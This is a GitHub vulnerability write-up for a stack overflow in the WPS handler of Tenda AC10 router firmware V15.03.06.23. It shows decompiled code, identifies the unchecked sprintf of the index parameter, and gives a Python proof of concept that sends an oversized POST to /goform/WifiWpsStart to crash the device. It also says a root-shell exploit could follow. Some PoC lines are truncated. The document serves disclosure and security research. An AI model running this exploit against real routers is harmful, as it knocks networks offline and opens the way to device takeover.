<> Code | Issues 2 | Pull requests | Actions | Projects | Security | ...

main

z1r00 Update readme.md | History

1 contributor

66 lines (42 sloc) | 1.86 KB

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/

- Firmware download address：https://www.tenda.com.cn/download/detail-2734.html

Affected version

AC10V1.0升级软件 V15.03.06.23

⬇ 立即下载

关联产品：AC10 v2.0   更新日期：2017/10/18

1.此固件只适用于AC10且当前软件为V15.03.06.XX的机器升级，不同型号不能使用该软件,升级前请确定当前软件版本。

2.下载解压后，请使用用有线连接路由器升级，升级过程中切勿切断电源，否则会导致机器损坏无法使用！

* 如果链接错误或其他问题，请反馈到 tenda@tenda.com.cn或联系在线客服，谢谢。

Vulnerability details

```
13    memset(tmp, 0, sizeof(tmp));
14    index = websGetVarWithValidate(wp, "index", WIFI_SSID_INDEX);
15    pin = websGetVarWithValidate(wp, "sta_pin", WIFI_WPS_STA_PIN);
16    Var = websGetVar(wp, "wifi_chkHz", "0");
17    if ( atoi(Var) )
18      v4 = 5;
19    else
20      v4 = 24;
21    wl_rate = v4;
22    if ( !index )
23    {
24      printf("Error: %s: %d ==> ssid index error!\n", "formWifiWpsStart", 3741);
25 SAVE_FAIL:
26      sprintf(tmp, "0;%s", "0");
27      websTransfer(wp, tmp);
28      return;
29    }
30    atoi(index);
31    mode = (unsigned __int8 *)websGetVarWithValidate(wp, "mode", WIFI_WPS_MODE);
32    if ( !mode )
33    {
34      printf("Error: %s: %d ==> WPS Start Failed!\n", "formWifiWpsStart", 3751);
35      goto SAVE_FAIL;
36    }
37    if ( wl_rate == WLAN_RATE_24G )
38    {
39      GetValue("wl2g.public.mode", mib_value);
40      SetValue("wl.bcm11ac", "0");
41    }
42    else
43    {
```

```
 24      printf("Error: %s: %d ==> ssid index error!\n", "formWifiWpsStart", 3741);
 25 SAVE_FAIL:
 26      sprintf(tmp, "0;%s", "0");
 27      websTransfer(wp, tmp);
 28      return;
 29   }
 30   atoi(index);
 31   mode = (unsigned __int8 *)websGetVarWithValidate(wp, "mode", WIFI_WPS_MODE);
 32   if ( !mode )
 33   {
 34      printf("Error: %s: %d ==> WPS Start Failed!\n", "formWifiWpsStart", 3751);
 35      goto SAVE_FAIL;
 36   }
 37   if ( wl_rate == WLAN_RATE_24G )
 38   {
 39      GetValue("wl2g.public.mode", mib_value);
 40      SetValue("wl.bcm11ac", "0");
 41   }
 42   else
 43   {
 44      GetValue("wl5g.public.mode", mib_value);
 45      SetValue("wl.bcm11ac", &byte_51A2E8);
 46   }
 47   tpi_wifi_wps_handle(wl_rate, 0, mode, pin);
 48   sprintf(tmp, "%s;%s", index, &byte_51A2E8);
 49   websTransfer(wp, tmp);
```

/goform/WifiWpsStart, The index and mode are controllable. If the conditions are met to sprintf, they will be spliced into tmp. It is worth noting that there is no size check,which leads to a stack overflow vulnerability.

Poc

```python
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'mode=1&index=' + p1

p3 = b"POST /goform/WifiWpsStart" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
```

```
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell